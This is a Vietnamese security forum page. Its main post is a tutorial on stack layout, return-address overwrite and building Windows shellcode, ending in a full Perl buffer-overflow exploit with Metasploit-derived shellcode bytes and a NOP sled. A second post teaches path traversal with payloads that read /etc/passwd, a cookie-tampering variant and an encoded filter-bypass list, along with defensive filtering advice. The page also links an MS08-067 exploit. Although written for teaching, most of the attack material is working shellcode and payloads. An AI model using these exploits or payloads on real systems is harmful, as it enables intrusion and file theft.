|
|
I. CHƯƠNG TRÌNH KHI NẠP TRONG BỘ NHỚ
Khi những tiến trình được nạp đến bộ nhớ, chúng chia thành 6 phân đoạn như sau:
1) Phân đoạn .text
Phân đoạn này tương ứng là phần của file thực thi nhị phân. Nó chứa các chỉ thị lệnh (mã máy) để thực hiện các tác vụ của chương trình. Phân đoạn này được đánh dấu là chỉ đọc và sẽ gây ra lỗi nếu như ghi trên phân đoạn này. Kích thước là cố định tại lúc thực thi khi tiến trình lần đầu tiên được nạp.
2) Phân đoạn .data
Là phân đoạn được sử dụng để lưu trữ các biến toàn cục và có khởi tạo giá trị ban đầu như là: int a=0;
Kích thước này cũng có định tại lúc thực thi chương trình
3) Phân đoạn .bss
Below stack section (.bss) là được sử dụng để lưu trữ các biến toàn cục nhưng không có khởi tạo giá trị ban đâu như là : int a;
Kích thước của phân đoạn này cũng cố định lúc thực thi chương trình.
4) Phân đoạn Heap
Phân đoạn này được sử dụng để cấp phát các biến động và phát triển từ vùng địa chỉ thấp đến vùng địa chỉ cao trong bộ nhớ. Trong ngôn ngữ C thì việc cấp phát và giải phóng được thực hiện qua hai hàm malloc() và free(). Ví dụ:
int i = malloc(sizeof (int));
5) Phân đoạn Stack
Phân đoạn stack có tác dụng giữ những lời gọi hàm trong thủ tục đệ quy và phát triển theo địa chỉ vùng nhớ cao đến địa chỉ vùng nhớ thấp trên hầu hết các hệ thống.
6) Phân đoạn biến môi trường và đối số
Phân đoạn này lưu trữ một bản sao chép các biến cấp độ hệ thống mà có thể được yêu cầu bởi tiến trình trung quá trình thực thi. Phân đoạn này có khả năng ghi được.
Ví dụ một đoạn chương trình
Code:
/* memory.c */ // this comment simply holds the program name
int index = 5; // giá trị này được lưu tại phân đoạn data bởi vì nó có giá trị khởi tạo.
char * str; // giá trị này được lưu tại phân đoạn bss vì nó không có giá trị khởi tạo ban đầu.
void funct1(int c){ // bracket starts function1 block
int i=c; // được lưu trong phân đoạn stack.
str = (char*) malloc (10 * sizeof (char)); // Dành 10 ký tự trong vùng nhớ Heap.
strncpy(str, "abcde", 5); //copies 5 characters "abcde" into str
} //end of function1
void main (){ //the required main function
funct1(1); //main calls function1 with an argument
} //end of the main function
II. GIẢI THÍCH CƠ CHẾ LÀM VIỆC CỦA NGĂN XẾP (STACK)
1) Cho đoạn chương trình sau:
Code:
int f(int a,int b,int c);
int main()
{
f(1,2,3);
return 0;
}
int f(int a,int b,int c)
{
int i;
char buf[3];
i=5;
buf[0]='A';
buf[1]='B';
buf[2]='C';
return (a+i);
}
2) Mã Assembly của hai hàm trên như sau:
3) Giải thích mã Assembly của chương trình
Khi hệ thống chuyển điều khiển cho chương trình nó sẽ lưu địa chỉ trở về như sau
push ebp
mov ebp,esp
Khi gọi hàm f(1,2,3) với ba đối số kiểu int thì các bước chuẩn bị để gọi hàm như sau
a) Đẩy các tham số của hàm vào stack theo thứ tự sau
push 3
push 2
push 1
- Tại sao nó lại đẩy theo thứ tự như vậy, bởi vì cơ chế làm việc của stack là vào sau ra trước. Như vậy khi push các tham số như trên sẽ đúng thứ tự của tham số khi gọi hàm
b) Gọi hàm
call f
- Khi gọi hàm f thì địa chỉ câu lệnh tiếp theo của lệnh gọi hàm f sẽ được đẩy vào stack và quyền điều khiển lúc này được trao cho hàm f()
c) Quá trình thực thi hàm f() như sau
- Đầu tiên ebp được đẩy vào stack, lúc này esp trỏ đến địa chỉ cũ của ebp. Tiếp đến ebp được gán bởi esp. Như vậy là esp, và ebp đều trỏ đến địa chỉ cũ của ebp. Sau đó chương trình cấp phát vùng nhớ cho 4 biến cục bộ. Biến i (4 bytes) và 3 biến char mỗi biến là 1 byte. Tổng cộng là 7 bytes nhưng được làm tròn thành 8 bytes
push ebp
mov ebp, esp
sub esp, 8
- Sau đó các biến cục bộ được gán giá trị như sau. Đầu tiên là biến i tiếp đến là 3 kí tự
mov dword ptr [ebp-4], 5
mov byte ptr [ebp-8], 'A'
mov byte ptr [ebp-7], 'B'
mov byte ptr [ebp-6], 'C'
- EBP đang trỏ đến ô nhớ chứa giá trị EBP cũ. ESP sẽ được gán bằng EBP. Như vậy ESP đang trỏ đến ô nhớ chứa giá trị EBP cũ. Tiếp theo, lệnh pop sẽ lấy giá trị của EBP cũ vào EBP, ESP trỏ đến ô nhớ chứa địa chỉ trở về. Lệnh ret sẽ lấy địa chỉ trở về vào EIP và quyền điều khiển chương trình được chuyển giao cho hàm main(), ESP trỏ đến ô nhớ chứa tham số đầu tiên của hàm f().
mov esp,ebp
pop ebp
ret
- Qua đoạn quá trình thực thi của hàm f ta thấy được rằng là thanh ghi ebp dùng để tham chiếu các biến cục bộ và tham số của hàm của hàm f
Tham chiếu đến tham số: ebp+???
Tham chiếu đến biến cục bộ ebp-???
Lưu ý: Vùng stack làm việc từ vùng nhớ cao đến vùng nhớ thấp tức là thanh ghi esp được trỏ ở đỉnh của ngăn xếp cho nến quá trình cấp phát ô nhớ sẽ được thực hiện từ vùng nhớ cao đến vùng nhớ thấp. Mỗi lần được cấp phát thì địa chỉ esp sẽ giảm tương ứng với kiểu của biến.
Sơ đồ biểu diễn stack đối với chương trình trên như sau
4) Ghi đè lên địa chỉ trở về trong ngăn xếp
Ví dụ sau đây sẽ cho thấy cách ghi đè lên địa chỉ trở về trong ngăn xếp.
a) Ví dụ
Code:
#include <stdio.h>
void func2()
{
printf("Hello everybody !\n");
exit(1);
}
void func1()
{
int buf[1];
buf[2]=(int)func2;
}
void main()
{
func1();
}
Sau khi chạy chương trình nó sẽ xuất hiện trên màn hình là dòng chữ “Hello everybody”.
Hàm func2() đã ghi đè địa chỉ trở về của hàm func1, cho nên thực hiện func2 và thóat chương trình.
b) Giải thích
Trong hàm main chỉ gọi mỗi hàm func1() và quy trình làm khởi tạo và làm việc của hàm func1() giống các thao tác của hàm f() trên như đã giới thiệu phần trước.
- Đầu tiên đẩy (push) các đối số (Ở đây là không có đối số nào)
- Sau đó là đẩy (push) địa chỉ trở về vào ngăn xếp
- Đẩy giá trị ebp vào stack
- Cấp phát biến cục bộ cho hàm func1(Ở đây chỉ có một biến kiểu int )
Chú ý đến stack bây giờ có những gì trong đó có :
1) Địa chỉ trở về
2) Địa chỉ ebp cũ
3) Địa chỉ của biến buf mà ở đây là buf[0] (Mảng trong C được đánh số từ 0)
Như vậy buf[0] tức là biến cục bộ của hàm test_proc, buf[1] là địa chỉ của ebp cũ, buf[2] là địa chỉ trở về của hàm
Câu lệnh buf[2]=int func2 đã ghi đè địa chỉ trở về của hàm func1. Do đó đáng lẽ là hàm func1() sau khi thực thi xong sẽ quay về main nhưng địa chỉ trở về của nó đã bị ghi đè nên gọi tiếp hàm func2().
III. GIỚI THIỆU SHELLCODE
1) Định nghĩa
Theo định nghĩa của wikipedia.org thì shellcode là “In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability”.
2) Cách tạo một shellcode
Ví dụ sau sẽ hướng dẫn cách tạo một shellcode với hàm WinExec.
Hàm WinExec là hàm thực thi một ứng dụng, với đối số đầu vào là tên file ứng dụng và cách hiển thị khi ứng dụng được thi thực thi (thực thi ứng dụng có thể ở dạng ẩn, bình thường, …).
Code:
Chi tiết về hàm WinExec
UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);
Chi tiết về hàm có thể tham khảo tại:
( http://msdn.microsoft.com/en-us/library/ms687393(VS.85).aspx)
Giả sử sử dụng hàm WinExec để thực thi calc.exe(Calculator trong Windows) với hàm WinExec. Khi viết bằng ngôn ngữ C thì nó sẽ như sau:
Code:
#include <windows.h>
int main()
{
char fname[10]="calc";
WinExec(fname,1);
return 0;
}
Với cách gọi hàm WinExec như trên thì khi viết lại bằng ngôn ngữ Assembly for Windows thì dựa theo cách đã trình bày ở phần II được viết như sau:
Trước hết cần biết địa chỉ của hàm WinExec trong thư viện kernel32.dll.
Đoạn mã sau cho biết địa chỉ của một hàm trong một thư viện đã chỉ định
Code:
#include <windows.h>
#include <stdio.h>
int main(int argc,char *argv[])
{
if (argc<3)
{
printf("Cu phap: %s <Ten dll> <Ten ham> \n",argv[0]);
printf("Vi du: %s kernel32.dll WinExec",argv[0]);
return 0;
}
HINSTANCE hDll;
hDll=LoadLibrary(argv[1]);
if (hDll!=0)
{
FARPROC fp;
fp=GetAddressProc(hDll,argv[2])
if (fp!=0)
printf("Dia chi cua ham %s la : 0x%x",argv[1],fp);
else
printf("Khong tim thay ham %s trong thu vien %s",argv[2],argv[1]);
}
}
Sau khi biên dịch và chạy đoạn chương trình trên với đối số là tên thư viện và hàm WinExec có kết quả hàm WinExec ở tại: 0x7c86114d (WindowsXp SP2) và hàm ExitProcess tại địa chỉ 0x7c81caa2 (WindowsXp SP2).
Đoạn mã Assembly như sau:
Code:
void main()
{
__asm{
xor eax,eax
push eax
sub esp,4
mov [ebp-8],'c'
mov [ebp-7],'a'
mov [ebp-6],'l'
mov [ebp-5],'c'
push eax
lea eax,[ebp-8]
push eax
mov eax,0x7c86114d
call eax
mov eax,0x7c81caa2
call eax
}
}
Khi biên dịch và chạy với mã Assembly trên thì không khác gì với việc hàm viết trong C. Nhưng ở đây được viết bằng Assembly for Windows. Sở dĩ phải viết hàm bằng ngôn ngữ Assembly vì cho phép nắm rõ cách tạo hàm và gọi hàm trong Assembly for Windows và lấy được mã máy khi sử dụng chương trình OllyDbg, sau đây là mã máy của đoạn Assembly trên.
Trên hình vẽ sẽ có được mã máy tương ứng với mã Assembly, bây giờ xây dựng shellcode và thực thi từ mã máy này như sau:
Code:
unsigned char scode[] =
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x50\x8D\x45\xF8\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\xB8\xA2\xCA\x81\x7C\xFF\xD0\x5D\xC3";
int main(int argc, char *argv[])
{
int *ret;
ret=(int *)&ret+2;// Ghi đè địa chỉ trở về của hàm main
(*ret)=(int)scode;// Giá trị của con trỏ ret trỏ đến là giá trị của biến scode
return 0;
}
Với cách trên hướng dẫn tự tạo shellcode riêng, tuy nhiên một site chuyên cung cấp các loại shellcode nổi tiếng cùng với framework của nó là metasploit.com. Tại đây có thể tìm thấy rất nhiều loại shellcode khác nhau. Với shellcode của hàm WinExec trên có thể tìm thấy tại
( http://www.metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec)
/* win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com */
Code:
unsigned char scode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0d"
"\x5a\x9f\x07\x83\xeb\xfc\xe2\xf4\xf1\xb2\xdb\x07\x0d\x5a\x14\x42"
"\x31\xd1\xe3\x02\x75\x5b\x70\x8c\x42\x42\x14\x58\x2d\x5b\x74\x4e"
"\x86\x6e\x14\x06\xe3\x6b\x5f\x9e\xa1\xde\x5f\x73\x0a\x9b\x55\x0a"
"\x0c\x98\x74\xf3\x36\x0e\xbb\x03\x78\xbf\x14\x58\x29\x5b\x74\x61"
"\x86\x56\xd4\x8c\x52\x46\x9e\xec\x86\x46\x14\x06\xe6\xd3\xc3\x23"
"\x09\x99\xae\xc7\x69\xd1\xdf\x37\x88\x9a\xe7\x0b\x86\x1a\x93\x8c"
"\x7d\x46\x32\x8c\x65\x52\x74\x0e\x86\xda\x2f\x07\x0d\x5a\x14\x6f"
"\x31\x05\xae\xf1\x6d\x0c\x16\xff\x8e\x9a\xe4\x57\x65\x24\x47\xe5"
"\x7e\x32\x07\xf9\x87\x54\xc8\xf8\xea\x39\xfe\x6b\x6e\x5a\x9f\x07";
III. LỖI TRÀN STACK (BUFFER OVERFLOW)
1) Giới thiệu
Lỗi tràn stack xuất hiện khi bộ đệm lưu trữ giữ liệu trong bộ nhớ không kiểm soát việc ghi giá trị trên nó, dẫn đến tràn stack và việc tràn stack này dẫn đến việc ghi đè địa chỉ trở về của hàm.
Để hiểu rõ về tràn stack như thế nào. Cho một ví dụ sau có lỗi tràn stack (buffer overflow)
Code:
//File vul.c
#include <stdio.h>
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
Nhiệm vụ của chương trình đơn giản là thực hiện nhận hai tham số và chuyển cho hàm getting(), tại hàm getting() có sử dụng một hàm strcpy có nhiệm vụ copy biến temp2 đến biến name. Tại đây biến name chỉ được cấp phát 400 byte. Do vậy nếu như biến temp2 không lớn hơn 400 thì không có việc gì xảy ra, ngược lại nếu như biến temp2 có giá trị lớn 400, thì nó sẽ lần lượt ghi đè lên địa chỉ EBP và EIP, vì sao nó lại ghi đè lên hai địa chỉ này thì như đã giới thiệu trong phần cách hoạt động của stack. Từ đây có thể khai thác lỗi tràn stack và lần lượt thực hiện viết các mã khai thác như sau:
Giả sử lần lượt đệ trình dữ liệu cho đối số đầu vào sử dụng Perl script như sau:
Code:
perl -e "exec 'vul',’Mr’,('A'x400)" Chương trình sẽ không xuất hiện lỗi.
perl -e "exec 'vul',’Mr’,('A'x404)" Xuất hiện lỗi do ghi đè lên địa chỉ của EBP.
perl -e "exec 'vul',’Mr’,('A'x408)" Xuất hiện lỗi do ghi đè lên địa chỉ của EIP.
2) Khai thác
Để khai thác lỗi tràn bộ đệm của chương trình, bộ đệm của chương trình sẽ được đổ “rác” với lệnh NOP (0x90 – lệnh không làm gì) và địa chỉ trở về EIP được ghi bởi địa chỉ của ESP.
Đoạn mã sau sẽ tìm địa chỉ ESP
Code:
get_sp() { __asm mov eax, esp }
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}
Khi chạy chương trình có được địa chỉ ESP: 0x12ff68 (WindowsXP SP2). Shellcode sử dụng ở đây là shellcode có chiều dài 164byte lấy từ metasploit. Như vậy từ địa chỉ ESP ta phải trừ đi 408 byte từ địa chỉ trở về (cấp phát cho biến name, phần EBP và EIP).
Sơ đồ của quá trình khai thác như sau:
Mã khai thác được viết bằng Perl để khai thác chương trình bị lỗi tràn bộ đệm như sau
Code:
# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload
IV. CÔNG CỤ VÀ TÀI LIỆU THAM KHẢO
1) Công cụ
- OllyDbg – http://www.ollydbg.de. Thanks hacknho với bản Ollydbg patched
2) Tài liệu
- “Gray Hat Hacking, Second Edition” - Shon Harris, Allen Harper, Chris Eagle, and Jonathan Ness.
- Metasploit ( http://metasploit.com).
Xong phần I !!! . Phần II seamoun sẽ nói rõ hơn về cách khai thác và demo khai thác một ứng dụng bị lỗi buffer overflow.
|
|
|
http://packetstormsecurity.org/0810-exploits/ms08_067_netapi.rb.txt
|
|
|
PXMMRF wrote:
Hoan nghênh bài viết của seamoun.
Trong phần thí dụ
http://seamoun.com/getUserProfile.jsp?page=main.html
http://seamoun.com/index.php?file=help
http://seamoun.com/main.cgi?home=index.htm
thì seamoun nên thay bằng một domain đang active, hoặc chỉ viết là:
http://example.com hay http://yourname.com .....
Vì domaim "seamoun. com" tuy đã đựoc đăng ký, nhưng hiên ở status : deleted and available again. Do vây, tai thời điểm này, không tỉm thấy IP cùa domain-website "seamoun. com" và dĩ nhiên không có bất cứ một URL nào liên quan đến domain "seamoun. com".
Như vậy sẽ tránh những hiểu lầm và reaction đáng tiếc đã xảy ra
Thưa anh ! Chả là trên máy em, em có cái HTTPD, FTP, ... và em thay đổi cái file host trên máy em 127.0.0.1<-->seamoun.com để thuận tiện trong việc em làm mấy cái demo ấy mà
|
|
|
Trên milw0rm có bài viết (Introduction to SQL injection - gửi ngày 2008-09-28) : http://milw0rm.com/papers/225. Có giới thiệu thêm một số hàm và một số phương thức có thể lấy thông tin về table, column như sử dụng group_concat, ...
Các bạn có thể đọc thêm để tham khảo
|
|
|
I. GIỚI THIỆU
Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot. Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, …
Để nhận biết khả năng khai thác lỗi này, các kẻ tấn công thường quan sát kết quả có được từ spider hoặc crawler mang lại. Quan sát khả năng khai thác Path Traversal ở đây là gì ?
Ví dụ kết quả trả về từ Spider hay Crawler có dạng sau:
Code:
http://seamoun.com/getUserProfile.jsp?page=main.html
http://seamoun.com/index.php?file=help
http://seamoun.com/main.cgi?home=index.htm
Ngoài ra các bạn còn thấy nhiều dạng URL khác mà có “mùi” Path Traversal, các bạn tự hỏi làm sao biết được ? Trả lời: thông qua kinh nghiệm khi phân tích URL mà có được.
II. KHAI THÁC
Khi có được kết quả từ việc spider Website với các URL có dạng như trên, kẻ tấn công có thể sử dụng “../” để thử liệu có truy cập file và thư mục khác được không ? Ví dụ
Code:
http://seamoun.com/getUserProfile.jsp?page=../../../etc/passwd
Dựa vào thông báo lỗi từ Website kẻ tấn công biết được đường dẫn thực sự trên WebServer, từ đó có thể kết hợp với ../ (dot-dot-slash) để truy cập đến những file quan trong của Website như database, file cấu hình, …
Lưu ý rằng Path Traversal không chỉ xảy ra đối với các biến trong phương thức GET mà còn có thể xuất hiện trong các phương thức POST hoặc biến COOKIE.
Ví dụ: Một số website có thể sử dụng COOKIE để lưu template động cho Website như sau:
Cookie: ID= 2ddd73ef3620afc62cd6942c31bb6003:TEMPLATE=xpstyle
Cookie: USER=member1234: PSTYLE=Green
Như vậy kẻ tấn công có thể thay đổi COOKIE để thực hiện Path Traversal Attack như sau
Cookie: ID= 2ddd73ef3620afc62cd6942c31bb6003:TEMPLATE=xpstyle
Cookie: USER=member1234: PSTYLE=../../etc/passwd
Trong quá trình khai thác kẻ tấn công có thể encode hoặc double encode, sử dụng %00(null) để bypass filter mà Website đó áp dụng.
Ví dụ:
%2e%2e%2f mô tả cho ../
%2e%2e/ mô tả cho ../
..%2f mô tả cho ../
%2e%2e%5c mô tả cho ..\
%2e%2e\ mô tả cho ..\
..%5c mô tả cho ..\
%252e%252e%255c mô tả cho ..\
..%255c mô tả cho ..\
…
Đối với UTF-8
..%c0%af mô tả cho ../
..%c1%9c mô tả cho ..\
Khi tiếp cận với một ứng dụng Web, việc kiểm tra nó có khả năng bị lỗi Path Traversal có thể được thực hiện bằng hai loại:
+ Nếu kẻ tấn công không thể có source thì chúng sẽ dùng spider, crawler để thực hiện kiểm tra Website và từ những kết quả mà spider mang lại chúng sẽ lần lượt kiểm tra các biến đối với các phương thức GET, POST hoặc COOKIE mà có khả năng bị lỗi.
+ Nếu kẻ tấn công có source code thì có thể tìm kiếm những hàm của những ngôn ngữ lập trình Web mà có khả năng gây ra lỗi Path Traversal như sau:
Code:
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
Demo khai thác Path Traversal (X7 Chat). Trong đoạn demo sau đây giả sử kẻ tấn công không biết source code của ứng dụng Web X7 Chat và thực hiện spider để kiểm tra nội dung Website.
(Download file demo bên dưới, chỉ có login mới thấy file download)
III. PHÒNG CHỐNG
Việc phòng chống Path Traversal Attack phải thực hiện kiểm tra biến cẩn thận (có thể áp dụng filter) khi sử dụng các hàm đã giới thiệu ở trên mà có khả năng gây ra lỗi cho phép kẻ tấn công thực hiện Path Traversal. Tuy nhiên một số filter như
Code:
str_replace("../","",$_GET['help_file'])
thì vẫn bị lỗi bởi lẽ kẻ tấn công có thể sử dụng “….//” như thế sau khi qua code lọc ở trên nó sẽ trở thành “../”. Rõ ràng việc lọc như vậy vẫn không triệt để. Thay vào đó các bạn nên sử dụng các biểu thức chính để lọc tốt hơn.
Ví dụ
Code:
eregi("[\\/]","{$_GET['help_file']}")
Công cụ sử dụng Website Crawler: Acunetix
|
|
|
|
|
|
|